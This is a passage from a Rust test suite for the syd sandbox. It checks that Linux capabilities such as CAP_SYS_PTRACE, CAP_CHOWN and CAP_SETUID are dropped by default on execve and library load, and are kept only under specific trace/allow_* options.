}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_drop_cap_sys_ptrace_exec_default() -> TestResult {
    skip_unless_cap!("sys_ptrace");

    // Ptrace must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_drop_cap_sys_ptrace_exec_unsafe_caps() -> TestResult {
    skip_unless_cap!("sys_ptrace");

    // Ptrace is kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_drop_cap_sys_ptrace_exec_unsafe_debug() -> TestResult {
    skip_unless_cap!("sys_ptrace");

    // Ptrace is kept with trace/allow_unsafe_debug:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_debug:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_drop_cap_chown_exec_default() -> TestResult {
    skip_unless_cap!("chown");

    // CAP_CHOWN must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_drop_cap_chown_exec_unsafe() -> TestResult {
    skip_unless_cap!("chown");

    // CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_drop_cap_chown_exec_allow_unsafe() -> TestResult {
    skip_unless_cap!("chown");

    // CAP_CHOWN is kept with trace/allow_unsafe_chown:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_chown:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_drop_cap_setgid_exec_default() -> TestResult {
    skip_unless_cap!("setgid");

    // CAP_SETGID must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_drop_cap_setgid_exec_unsafe() -> TestResult {
    skip_unless_cap!("setgid");

    // CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_drop_cap_setgid_exec_safesetid() -> TestResult {
    skip_unless_cap!("setgid");

    // CAP_SETGID is not dropped with trace/allow_safe_setgid:1
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_drop_cap_setuid_exec_default() -> TestResult {
    skip_unless_cap!("setuid");

    // CAP_SETUID must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_drop_cap_setuid_exec_unsafe() -> TestResult {
    skip_unless_cap!("setuid");

    // CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_drop_cap_setuid_exec_safesetid() -> TestResult {
    skip_unless_cap!("setuid");

    // CAP_SETUID is not dropped with trace/allow_safe_setuid:1
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_drop_cap_net_bind_service_exec_default() -> TestResult {
    skip_unless_cap!("net_bind_service");

    // CAP_NET_BIND_SERVICE must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_drop_cap_net_bind_service_exec_unsafe_caps() -> TestResult {
    skip_unless_cap!("net_bind_service");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_drop_cap_net_bind_service_exec_unsafe_bind() -> TestResult {
    skip_unless_cap!("net_bind_service");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_bind:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_drop_cap_net_raw_exec_default() -> TestResult {
    skip_unless_cap!("net_raw");

    // CAP_NET_RAW must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_drop_cap_net_raw_exec_unsafe_caps() -> TestResult {
    skip_unless_cap!("net_raw");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_drop_cap_net_raw_exec_unsafe_socket() -> TestResult {
    skip_unless_cap!("net_raw");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_socket:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_drop_cap_sys_time_exec_default() -> TestResult {
    skip_unless_cap!("sys_time");

    // CAP_SYS_TIME must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_drop_cap_sys_time_exec_unsafe_caps() -> TestResult {
    skip_unless_cap!("sys_time");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_drop_cap_sys_time_exec_unsafe_time() -> TestResult {
    skip_unless_cap!("sys_time");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_time:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_drop_cap_syslog_exec_default() -> TestResult {
    skip_unless_cap!("syslog");

    // CAP_SYSLOG must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_drop_cap_syslog_exec_unsafe_caps() -> TestResult {
    skip_unless_cap!("syslog");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_drop_cap_syslog_exec_unsafe_syslog() -> TestResult {
    skip_unless_cap!("syslog");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_syslog:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_drop_cap_sys_ptrace_load_default() -> TestResult {
    skip_unless_cap!("sys_ptrace");
    skip_unless_available!("cc", "sh");

    // Ptrace must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_drop_cap_sys_ptrace_load_unsafe_caps() -> TestResult {
    skip_unless_cap!("sys_ptrace");
    skip_unless_available!("cc", "sh");

    // Ptrace is kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_drop_cap_sys_ptrace_load_unsafe_debug() -> TestResult {
    skip_unless_cap!("sys_ptrace");
    skip_unless_available!("cc", "sh");

    // Ptrace is kept with trace/allow_unsafe_debug:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_debug:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_drop_cap_chown_load_default() -> TestResult {
    skip_unless_cap!("chown");
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_drop_cap_chown_load_allow_unsafe() -> TestResult {
    skip_unless_cap!("chown");
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN is kept with trace/allow_unsafe_chown:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_chown:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_drop_cap_chown_load_unsafe() -> TestResult {
    skip_unless_cap!("chown");
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_drop_cap_setgid_load_default() -> TestResult {
    skip_unless_cap!("setgid");
    skip_unless_available!("cc", "sh");

    // CAP_SETGID must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_drop_cap_setgid_load_safesetid() -> TestResult {
    skip_unless_cap!("setgid");
    skip_unless_available!("cc", "sh");

    // CAP_SETGID is not dropped with trace/allow_safe_setgid:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_drop_cap_setgid_load_unsafe() -> TestResult {
    skip_unless_cap!("setgid");
    skip_unless_available!("cc", "sh");

    // CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_drop_cap_setuid_load_default() -> TestResult {
    skip_unless_cap!("setuid");
    skip_unless_available!("cc", "sh");

    // CAP_SETUID must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_drop_cap_setuid_load_safesetid() -> TestResult {
    skip_unless_cap!("setuid");
    skip_unless_available!("cc", "sh");

    // CAP_SETUID is not dropped with trace/allow_safe_setuid:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_drop_cap_setuid_load_unsafe() -> TestResult {
    skip_unless_cap!("setuid");
    skip_unless_available!("cc", "sh");

    // CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
